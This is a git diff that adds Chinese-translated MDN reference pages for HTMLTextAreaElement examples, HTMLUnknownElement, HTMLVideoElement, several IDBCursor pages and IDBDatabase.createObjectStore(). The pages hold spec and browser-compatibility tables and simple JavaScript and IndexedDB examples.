+  oMsgInput.value = sOldText.substring(0, nSelStart) + (bDouble ? sStartTag + sOldText.substring(nSelStart, nSelEnd) + sEndTag : sStartTag) + sOldText.substring(nSelEnd);
+  oMsgInput.setSelectionRange(bDouble || nSelStart === nSelEnd ? nSelStart + sStartTag.length : nSelStart, (bDouble ? nSelEnd : nSelStart) + sStartTag.length);
+  oMsgInput.focus();
+}
+ +

CSS to decorate the internal span to behave like a link:

+ +
.intLink {
+  cursor: pointer;
+  text-decoration: underline;
+  color: #0000ff;
+}
+ +

HTML:

+ +
<form name="myForm">
+<p>[&nbsp;<span class="intLink" onclick="insertMetachars('&lt;strong&gt;','&lt;\/strong&gt;');"><strong>Bold</strong></span> | <span class="intLink" onclick="insertMetachars('&lt;em&gt;','&lt;\/em&gt;');"><em>Italic</em></span> | <span class="intLink" onclick="var newURL=prompt('Enter the full URL for the link');if(newURL){insertMetachars('&lt;a href=\u0022'+newURL+'\u0022&gt;','&lt;\/a&gt;');}else{document.myForm.myTxtArea.focus();}">URL</span> | <span class="intLink" onclick="insertMetachars('\n&lt;code&gt;\n','\n&lt;\/code&gt;\n');">code</span> | <span class="intLink" onclick="insertMetachars(' :-)');">smile</span> | etc. etc.&nbsp;]</p>
+<p><textarea name="myTxtArea" rows="10" cols="50">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut facilisis, arcu vitae adipiscing placerat, nisl lectus accumsan nisi, vitae iaculis sem neque vel lectus. Praesent tristique commodo lorem quis fringilla. Sed ac tellus eros. Sed consectetur eleifend felis vitae luctus. Praesent sagittis, est eget bibendum tincidunt, ligula diam tincidunt augue, a fermentum odio velit eget mi. Phasellus mattis, elit id fringilla semper, orci magna cursus ligula, non venenatis lacus augue sit amet dui. Pellentesque lacinia odio id nisi pulvinar commodo tempus at odio. Ut consectetur eros porttitor nunc mollis ultrices. Aenean porttitor, purus sollicitudin viverra auctor, neque erat blandit sapien, sit amet tincidunt massa mi ac nibh. Proin nibh sem, bibendum ut placerat nec, cursus et lacus. Phasellus vel augue turpis. Nunc eu mauris eu leo blandit mollis interdum eget lorem. </textarea></p>
+</form>
+
+ +

{{EmbedLiveSample('Insert_HTML_tags_example', 600, 300)}}

+ +

Maximum length and number of lines example

+ +

Create a textarea with a maximum number of characters per line and a maximum number of lines:

+ +

First, create a function that takes the text field and a key event as input and determines if any of the limits have been reached. If the limit has not been reached, it will return the key.

+ +
function checkRows(oField, oKeyEvent) {
+  var nKey = (oKeyEvent || /* old IE */ window.event || /* check is not supported! */ { keyCode: 38 }).keyCode,
+
+    // put here the maximum number of characters per line:
+    nCols = 30,
+    // put here the maximum number of lines:
+    nRows = 5,
+
+    nSelS = oField.selectionStart, nSelE = oField.selectionEnd,
+    sVal = oField.value, nLen = sVal.length,
+
+    nBackward = nSelS >= nCols ? nSelS - nCols : 0,
+    nDeltaForw = sVal.substring(nBackward, nSelS).search(new RegExp("\\n(?!.{0," + String(nCols - 2) + "}\\n)")) + 1,
+    nRowStart = nBackward + nDeltaForw,
+    aReturns = (sVal.substring(0, nSelS) + sVal.substring(nSelE, sVal.length)).match(/\n/g),
+    nRowEnd = nSelE + nRowStart + nCols - nSelS,
+    sRow = sVal.substring(nRowStart, nSelS) + sVal.substring(nSelE, nRowEnd > nLen ? nLen : nRowEnd),
+    bKeepCols = nKey === 13 || nLen + 1 < nCols || /\n/.test(sRow) || ((nRowStart === 0 || nDeltaForw > 0 || nKey > 0) && (sRow.length < nCols || (nKey > 0 && (nLen === nRowEnd || sVal.charAt(nRowEnd) === "\n"))));
+
+  return (nKey !== 13 || (aReturns ? aReturns.length + 1 : 1) < nRows) && ((nKey > 32 && nKey < 41) || bKeepCols);
+}
+ +

In the HTML we just need to hook our function to the `onkeypress` event and specify that our textarea does not accept pasting:

+ +
<form>
+  <p>Textarea with fixed number of characters per line:<br />
+    <textarea cols="50" rows="10" onkeypress="return checkRows(this, event);"
+              onpaste="return false;"></textarea>
+  </p>
+</form>
+
+ +

{{EmbedLiveSample('Maximum_length_and_number_of_lines_example', 600, 300)}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', "#htmltextareaelement", "HTMLTextAreaElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "forms.html#the-textarea-element", "HTMLTextAreaElement")}}{{Spec2('HTML5 W3C')}}The attributes tabindex and accesskey, as well as the methods blur() and focus() are now defined on {{domxref("HTMLElement")}}.
+ The following attributes have been added: autofocus, placeholder, dirName, wrap, maxLength, required, textLength, labels, selectionStart, selectionEnd, selectionDirection, validity, validationMessage, and willValidate.
+ The following methods have been added: checkValidity(), setCustomValidity(), and setSelectionRange().
{{SpecName('DOM2 HTML', 'html.html#ID-ID-24874179', 'HTMLTextAreaElement')}}{{Spec2('DOM2 HTML')}}The property defaultValue doesn't contain the initial value of the value attribute, but the initial value of the content of the {{HTMLElement("textarea")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-24874179', 'HTMLTextAreaElement')}}{{Spec2('DOM1')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLTextAreaElement")}}

diff --git a/files/zh-cn/web/api/htmlunknownelement/index.html b/files/zh-cn/web/api/htmlunknownelement/index.html new file mode 100644 index 0000000000..592a0ff064 --- /dev/null +++ b/files/zh-cn/web/api/htmlunknownelement/index.html @@ -0,0 +1,102 @@ +--- +title: HTMLUnknownElement +slug: Web/API/HTMLUnknownElement +tags: + - 无效 标签 未知 +translation_of: Web/API/HTMLUnknownElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLUnknownElement 代表着一个无效的HTML元素,派生自 {{domxref("HTMLElement")}} 接口,,但它没有任何可用的附加属性或方法.

+ +

属性

+ +

没有特效属性,继承自父级 {{domxref("HTMLElement")}}.

+ +

方法

+ +

没有指定方法;继承来自父级的属性, {{domxref("HTMLElement")}}.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态建议
{{SpecName('HTML WHATWG', "elements.html#htmlunknownelement", "HTMLUnknownElement")}}{{Spec2('HTML WHATWG')}}没有修改{{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "dom.html#htmlunknownelement", "HTMLUnknownElement")}}{{Spec2('HTML5 W3C')}}初始定义
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/htmlvideoelement/index.html b/files/zh-cn/web/api/htmlvideoelement/index.html new file mode 100644 index 0000000000..506d1655b8 --- /dev/null +++ b/files/zh-cn/web/api/htmlvideoelement/index.html @@ -0,0 +1,198 @@ +--- +title: HTMLVideoElement +slug: Web/API/HTMLVideoElement +tags: + - API + - DOM + - HTML DOM + - HTML5 + - Video +translation_of: Web/API/HTMLVideoElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

HTMLVideoElement 接口提供了用于操作视频对象的特殊属性和方法。它同时还继承了{{domxref("HTMLMediaElement")}} 和 {{domxref("HTMLElement")}} 的属性与方法。

+ +

在不同浏览器中 支持的媒体格式 是不一样的。因此在提供媒体文件的时候,或者提供一种所有浏览器都支持的格式,或者提供格式不同的多个视频源来支持不同浏览器,保证你想要支持的浏览器都能够播放。

+ +

{{InheritanceDiagram(600, 140)}}

+ +

属性

+ +

继承了其父对象 {{domxref("HTMLMediaElement")}}和{{domxref("HTMLElement")}}的属性。

+ +
+
{{domxref("HTMLVideoElement.height")}}
+
表达HTML属性 {{htmlattrxref("height", "video")}}的值的一个{{domxref("DOMString")}} ,以CSS pixels的单位给出了显示区域的大小。
+
{{domxref("HTMLVideoElement.poster")}}
+
表达HTML属性 {{htmlattrxref("poster", "video")}}的值的一个{{domxref("DOMString")}} ,用于指定当视频无法播放时需要展示的图片。
+
{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}
+
返回一个unsigned long 值,以CSS pixels的单位给出视频资源的实际高度。这个值考虑了大小、对比度、明度、分辨率等,是由视频资源本身确定的。如果这个元素的ready state是 HAVE_NOTHING,这个属性的值为0。
+
{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}
+
返回一个unsigned long 值,以CSS pixels的单位给出视频资源的实际宽度。这个值考虑了大小、对比度、明度、分辨率等,是由视频资源本身确定的。如果这个元素的ready state是 HAVE_NOTHING,这个属性的值为0。
+
{{domxref("HTMLVideoElement.width")}}
+
表达HTML属性 {{htmlattrxref("width", "video")}}的值的一个{{domxref("DOMString")}} ,以CSS pixels的单位给出了显示区域的大小。
+
+ +

Gecko特定属性

+ +
+
{{domxref("HTMLVideoElement.mozParsedFrames")}} {{readonlyInline}}{{non-standard_inline}}
+
返回一个 unsigned long 值,给出已经从媒体资源中解析的视频帧数。
+
{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{readonlyInline}}{{non-standard_inline}}
+
返回一个 unsigned long 值,给出已经从媒体资源中解析,并解码为图像的视频帧数。
+
{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{readonlyInline}}{{non-standard_inline}}
+
返回一个 unsigned long 值,给出被置入绘制队列(pipeline)等待绘制的视频帧数。
+
{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{readonlyInline}}{{non-standard_inline}}
+
返回一个 unsigned long 值,给出已经被绘制的视频帧数。
+
{{domxref("HTMLVideoElement.mozFrameDelay")}} {{readonlyInline}}{{non-standard_inline}}
+
返回一个 double 值,表示到目前为止,距上一次绘制过去了多长时间,单位是秒。
+
{{domxref("HTMLVideoElement.mozHasAudio")}} {{readonlyInline}}{{non-standard_inline}}
+
返回一个{{domxref("Boolean")}}值,表示这个视频是否有关联音频。
+
+ +

方法

+ +

继承了其父对象 {{domxref("HTMLMediaElement")}}和 {{domxref("HTMLElement")}}的方法。

+ +
+
{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}
+
返回一个 {{domxref("VideoPlaybackQuality")}} 对象,包含了对当前播放引擎的量度信息。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}{{Spec2("Media Source Extensions")}}添加了 getVideoPlaybackQuality() 方法。
{{SpecName('HTML WHATWG', "the-video-element.html#the-video-element", "HTMLAreaElement")}}{{Spec2('HTML WHATWG')}}相对于{{SpecName('HTML5 W3C')}}没有改变。
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLAreaElement")}}{{Spec2('HTML5 W3C')}}最初定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}9.010.50{{CompatVersionUnknown}}
mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay {{non-standard_inline}}{{CompatNo}}{{CompatGeckoDesktop("5.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozHasAudio {{non-standard_inline}}{{CompatNo}}{{ CompatGeckoDesktop("15.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
getVideoPlaybackQuality(){{experimental_inline}}{{CompatUnknown}}{{ CompatGeckoDesktop("25.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{CompatGeckoMobile("2.0")}}9.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
mozParsedFrames mozDecodedFrames mozPresentedFrames mozPaintedFrames mozFrameDelay {{non-standard_inline}}{{CompatNo}}{{CompatGeckoMobile("5.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
mozHasAudio {{non-standard_inline}}{{CompatNo}}{{ CompatGeckoMobile("15.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
getVideoPlaybackQuality(){{experimental_inline}}{{CompatUnknown}}{{ CompatGeckoMobile("25.0")}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] Gecko 的实现要求打开 media.mediasource.enabled 选项,默认值是false.

+ +

另见

+ + diff --git a/files/zh-cn/web/api/idbcursor/direction/index.html b/files/zh-cn/web/api/idbcursor/direction/index.html new file mode 100644 index 0000000000..0c7f2b6204 --- /dev/null +++ b/files/zh-cn/web/api/idbcursor/direction/index.html @@ -0,0 +1,150 @@ +--- +title: IDBCursor.direction +slug: Web/API/IDBCursor/direction +translation_of: Web/API/IDBCursor/direction +--- +

{{ APIRef("IDBCursor") }}

+
+

 {{domxref("IDBCursor")}} 的方向属性是一个 {{domxref("DOMString")}} ,表示游标遍历的方向, (比如可以通过 {{domxref("IDBObjectStore.openCursor")}} 设置). 查看下文中 {{anch("Values")}} 章节获取可取值.

+
+

语法

+
cursor.direction;
+

取值

+

用一个字符串(defined by the IDBCursorDirection enum) 表示游标的遍历方向。相关取值如下表所示:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDescription
next从数据源开始位置遍历
nextunique +

 

+

从数据源开始遍历;当取值有重复时,只获取一次。

+
prev +

从数据源的最后位置位置开取值

+
prevunique从数据源的最后位置开始取值,只获取一次。
+  
+

例子

+

在这个简单的例子中,我们首先创建一个事物对象,返回一个对象仓库(store), 然后使用邮编遍历整个数据仓库。在每次迭代中我们记录了游标的方向,例如prev(倒序遍历)

+
prev
+
+  
+
+

注意:我们不能改变游标的取值,因为这是个只读属性;应该在{{domxref("IDBObjectStore.openCursor")}}方法调用的第二个参数指定游标遍历的方向;

+
+

使用游标遍历数据时,可以不需要我们指定在特定字段选择数据;我们可以直接获取所有数据,同时在每次循环迭代过程当中,我们可以通过cursor.value.foo获取数据,如下是一个完整的游标遍历数据的例子; IDBCursor example (view example live.)

+
function backwards() {
+  list.innerHTML = '';
+  var transaction = db.transaction(['rushAlbumList'], 'readonly');
+  var objectStore = transaction.objectStore('rushAlbumList');
+
+  objectStore.openCursor(null,'prev').onsuccess = function(event) {
+    var cursor = event.target.result;
+      if(cursor) {
+        var listItem = document.createElement('li');
+        listItem.innerHTML = '<strong>' + cursor.value.albumTitle + '</strong>, ' + cursor.value.year;
+        list.appendChild(listItem);
+
+        console.log(cursor.direction);
+        cursor.continue();
+      } else {
+        console.log('Entries displayed backwards.');
+      }
+  };
+};
+

Specifications

+ + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#widl-IDBCursor-direction', 'direction')}}{{Spec2('IndexedDB')}} 
+

浏览器兼容性

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("webkit")}}
+ 24
10 {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}
10, partial157.1
+
+
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support4.4{{CompatGeckoMobile("22.0")}}1.0.11022{{CompatNo}}
+
+

 

+

参考资料

+ diff --git a/files/zh-cn/web/api/idbcursor/index.html b/files/zh-cn/web/api/idbcursor/index.html new file mode 100644 index 0000000000..bb8b1ef16f --- /dev/null +++ b/files/zh-cn/web/api/idbcursor/index.html @@ -0,0 +1,161 @@ +--- +title: IDBCursor +slug: Web/API/IDBCursor +translation_of: Web/API/IDBCursor +--- +

{{APIRef("IndexedDB")}}

+ +

IndexedDB API 中的 IDBCursor 接口表示一个游标,用于遍历或迭代数据库中的多条记录。

+ +

游标有一个源,指示需要遍历哪一个索引或者对象存储区。它在所属区间范围内有一个位置,根据记录健(存储字段)的顺序递增或递减方向移动。游标使应用程序能够异步处理在游标范围内的所有记录。

+ +

你可以在同一时间拥有无数个游标。你总会获得表示给定游标的同样的 IDBCursor 对象。在基础索引或对象存储上执行操作。

+ +

方法

+ +
+
{{domxref("IDBCursor.advance")}}
+
设置光标向前移动位置的次数。
+
{{domxref("IDBCursor.continue")}}
+
将游标按它的方向移动到下一个位置,到其健与可选健参数匹配的项。
+
+ +
+
{{domxref("IDBCursor.delete")}}
+
返回一个 {{domxref("IDBRequest")}} 对象,并且在一个单独的线程中,删除游标位置记录,而不改变游标的位置。这个可以用作删除一些特定的记录。
+
{{domxref("IDBCursor.update")}}
+
返回一个 {{domxref("IDBRequest")}} 对象,并且在一个单独的线程中,更新对象存储中当前游标位置的值。这个可以用来更新特定的记录。
+
+ +

属性

+ +
+
{{domxref("IDBCursor.source")}} {{readonlyInline}}
+
返回一个游标正在迭代的 {{domxref("IDBObjectStore")}}  或者 {{domxref("IDBIndex")}} 。这个方法永远不会返回一个空或者抛出异常,即使游标当前正在被迭代,已迭代超过其结束,再或者其事务没有处于活动状态。
+
{{domxref("IDBCursor.direction")}} {{readonlyInline}}
+
返回光标遍历方向。请查看 常数 中可能的值。
+
{{domxref("IDBCursor.key")}} {{readonlyInline}}
+
返回记录中游标位置的有效主键。如果游标在区间之外,将会设置成 undefined。游标主键可以是任意的时间类型(data type)。
+
{{domxref("IDBCursor.primaryKey")}} {{readonlyInline}}
+
返回游标当前有效的主键。如果游标当前正在被迭代或者已经在迭代在区间范围外,将会被设置成 undefined 。 游标主键可以是任意的时间类型(data type)。
+
+ +

常量

+ +
{{ obsolete_header(25) }}
+ +
+

这些常量不再被支持。你应该使用字符串常量。({{ bug(891944) }})

+
+ + + +

示例

+ +

在这个简单的代码片段中,我们创建了一个事务和检索一个对象存储,之后使用一个游标遍历存储对象中所有的记录。游标不是必须使用主键来选则数据库,我们可以把它全部拿出来。同时需要注意在每次循环遍历中,你可以在当前记录下的游标对象中使用  cursor.value.foo 抓取数据。对于完整的工作示例,请查看我们的 IDBCursor example (在线查看示例)。

+ +
function displayData() {
+  var transaction = db.transaction(['rushAlbumList'], "readonly");
+  var objectStore = transaction.objectStore('rushAlbumList');
+
+  objectStore.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
+      list.appendChild(listItem);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#idl-def-IDBCursor', 'cursor')}}{{Spec2('IndexedDB')}}
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("webkit")}}
+ 24
10 {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}
10, partial157.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support4.4{{CompatGeckoMobile("22.0")}}1.0.11022{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbcursor/key/index.html b/files/zh-cn/web/api/idbcursor/key/index.html new file mode 100644 index 0000000000..573890a7fa --- /dev/null +++ b/files/zh-cn/web/api/idbcursor/key/index.html @@ -0,0 +1,194 @@ +--- +title: IDBCursor.key +slug: Web/API/IDBCursor/key +translation_of: Web/API/IDBCursor/key +--- +

{{APIRef("IndexedDB")}}

+ +
+

key是只读属性,返回在游标中的位置。如果游标在范围之外,这个值会被置为undefined。游标的key可以是任何数据类型。

+ +

{{AvailableInWorkers}}

+
+ +

语法

+ +
var key = cursor.key;
+ +

+ +

任意类型

+ +

示例

+ +

在该示例中,我们创建一个事务,检索一个存储对象,然后使用游标遍历所有存储在object store 中的记录。遍历的过程中,我们把类似(相簿标题,这是我们的键key),游标的key打印出来。

+ +

我们可以不根据游标的key来选取数据;我们可以抓取所有。还要注意,在循环的每个迭代中,您可以使用cursor.value.foo从当前记录下获取数据。完整示例,请看IDBCursor example (view example live.)

+ +
function displayData() {
+  var transaction = db.transaction(['rushAlbumList'], "readonly");
+  var objectStore = transaction.objectStore('rushAlbumList');
+
+  objectStore.openCursor().onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = cursor.value.albumTitle + ', ' + cursor.value.year;
+      list.appendChild(listItem);
+
+      console.log(cursor.key);
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+};
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('IndexedDB', '#widl-IDBCursor-key', 'key')}}{{Spec2('IndexedDB')}} 
{{SpecName("IndexedDB 2", "#dom-idbcursor-key", "key")}}{{Spec2("IndexedDB 2")}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("webkit")}}
+ 24
{{CompatVersionUnknown}}10 {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}
10, partial157.1
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("37.0")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
Binary keys{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("51.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Indexed Database 2.0{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(45)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("22.0")}}10228
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
Binary keys{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("51.0")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Indexed Database 2.0{{CompatChrome(58)}}{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(45)}}{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/idbcursorsync/index.html b/files/zh-cn/web/api/idbcursorsync/index.html new file mode 100644 index 0000000000..4093748822 --- /dev/null +++ b/files/zh-cn/web/api/idbcursorsync/index.html @@ -0,0 +1,146 @@ +--- +title: IDBCursorSync +slug: Web/API/IDBCursorSync +tags: + - API + - NeedsMarkupWork 需求标记 + - 参考 + - 参考2 + - 实验性 + - 实验性2 + - 接口 + - 过时的 +translation_of: Web/API/IDBCursorSync +--- +

{{APIRef("IndexedDB")}} {{ draft() }}

+ +
+

注意: 同步IndexedDB API版本 本来计划仅用于Web Workers, 事实上由于本身存在一些问题已经被移除. 当然,如果Web开发人员有足够的需求,   IndexedDB API 的 IDBCursorSync表示用于遍历数据库中多个记录的游标。 你只能设置 一个IDBCursorSync 代表一种游标实例, 但同时可以有无限数量的游标。.此操作在基础索引或对象存储上执行。它使应用程序能够同步处理光标范围内的所有记录。

+
+ +

方法概述

+ + + + + + + + + + +
bool continue (in optional any key);
void remove () raises (IDBDatabaseException);
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
countreadonly unsigned long long共享当前key的对象总数
directionreadonly unsigned short游标方向. 查看 《常量》 以获取可能得value.
keyreadonly any游标位置记录的key.
valueany +

游标位置记录的value. 使用下面的代码设置这个属性可以增加IDBDatabaseException :

+ +
+
DATA_ERR
+
如果潜在的对象存储使用 in-line keys 并且 在 key path 中的属性不能匹配这个游标的位置key
+
NOT_ALLOWED_ERR
+
如果在READ_ONLY 或者 SNAPSHOT_READ模式下,潜在的下标或者对象存储不支持更新这个记录 , 或者由于潜在的index设置为auto-populated.某个index记录不能被更新
+
SERIAL_ERR
+
如果存储的数据不能被内部结构化克隆算法序列化.
+
+
+ +

常量

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量描述
NEXT0游标包含重复,并且其方向单调地key的顺序递增。
NEXT_NO_DUPLICATE1游标包含不重复, 并且其方向单调地key的顺序递增.
PREV2游标包含重复,并且其方向单调地key的顺序递减。
PREV_NO_DUPLICATE3游标包含不重复, 并且其方向单调地key的顺序递减.
+ +

方法

+ +

continue()

+ +

将游标沿其方向前进到其键与可选键参数匹配的项。如果没有指定键,则前进到下一个位置。如果游标已到达其范围的末尾,则返回false,否则返回true。

+ +
bool continue (
+  in optional any key
+);
+
+ +
Parameters
+ +
+
key
+
移动光标位置的key。
+
+ +

remove()

+ +

删除光标的位置的记录并不会改变光标的位置

+ +
void delete (
+) raises (DatabaseException);
+
+ +
Exceptions
+ +

使用下面的代码可以增加一个 IDBDatabaseException :

+ +
+
NOT_ALLOWED_ERR
+
如果在READ_ONLY 或者 SNAPSHOT_READ模式下,潜在的下标或者对象存储不支持更新这个记录 ,
+
diff --git a/files/zh-cn/web/api/idbdatabase/createobjectstore/index.html b/files/zh-cn/web/api/idbdatabase/createobjectstore/index.html new file mode 100644 index 0000000000..99ea2480df --- /dev/null +++ b/files/zh-cn/web/api/idbdatabase/createobjectstore/index.html @@ -0,0 +1,178 @@ +--- +title: IDBDatabase.createObjectStore() +slug: Web/API/IDBDatabase/createObjectStore +translation_of: Web/API/IDBDatabase/createObjectStore +--- +

{{ APIRef("IndexedDB") }}

+ +
+

{{domxref("IDBDatabase")}} 接口的 createObjectStore() 方法创建并返回一个新的 object store 或 index。

+
+ +

此方法接受一个参数作为 store 的名称,也接受一个可选的参数对象让你可以定义重要的可选属性。你可以用这个属性唯一的标识此 store 中的每个对象。因为参数是一个标识符,所以 store 中的每一个对象都应有此属性并保证此属性唯一。

+ +

此方法只能在 versionchange 事务中被调用。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var objectStore = IDBDatabase.createObjectStore(name);
+var objectStore = IDBDatabase.createObjectStore(name, options);
+
+ +

参数

+ +
+
name
+
被创建的 object store 的名称。请注意创建空名称的 object store 是被允许的。
+
optionalParameters {{optional_inline}}
+
+

可选的对象,它的属性是此方法的可选参数,其中包括以下的属性:

+ + + + + + + + + + + + + + + + + + +
AttributeDescription
keyPath +

key path 被用在新的 object store 上。如果为空或未指定,object store 创建时将没有 key path,而是使用 out-of-line keys 。你也能传一个数组作为 keyPath 。

+
autoIncrement如果为 true,  object store 有一个 key generator. 默认为 false
+ +

未知参数将被忽略。

+
+
+ +

返回值

+ +
+
{{domxref("IDBObjectStore")}}
+
新创建的 object store 对象。
+
+ +

异常

+ +

This method may raise a此方法可能会抛出一个 {{domxref("DOMException")}} 带有以下所列其中一种类型的 {{domxref("DOMError")}} :

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
InvalidStateError +

在非versionchange事务中调用时发生。在一些旧版本的 Webkit 浏览器,你必须先调用{{APIRef("IDBVersionChangeRequest.setVersion")}}方法。

+
TransactionInactiveError +

如果对不存在的源数据库发出请求(例如,已被删除的)。此外,在 Firefox 版本小于 41 中,会抛出误导性的 InvalidStateError 错误,这一问题现已修复(请参阅 {{Bug("1176165")}})。

+
ConstraintError +

数据库中已存同名的对象存储(名字区分大小写)

+
InvalidAccessError +

如果 autoIncrement 设置为 true,并且 keyPath 是空字符串或包含空字符串的数组。

+
+ +

Example

+ +
 // 打开一个数据库
+  var request = window.indexedDB.open("toDoList", 4);
+
+  // This handler is called when a new version of the database
+  // is created, either when one has not been created before
+  // or when a new version number is submitted by calling
+  // window.indexedDB.open().
+  // This handler is only supported in recent browsers.
+  request.onupgradeneeded = function(event) {
+    var db = event.target.result;
+
+    db.onerror = function(event) {
+      note.innerHTML += '<li>Error loading database.</li>';
+    };
+
+    // Create an objectStore for this database
+
+    var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+    // define what data items the objectStore will contain
+
+    objectStore.createIndex("hours", "hours", { unique: false });
+    objectStore.createIndex("minutes", "minutes", { unique: false });
+    objectStore.createIndex("day", "day", { unique: false });
+    objectStore.createIndex("month", "month", { unique: false });
+    objectStore.createIndex("year", "year", { unique: false });
+
+    objectStore.createIndex("notified", "notified", { unique: false });
+
+    note.innerHTML += '<li>Object store created.</li>';
+  };
+ +

Specification

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
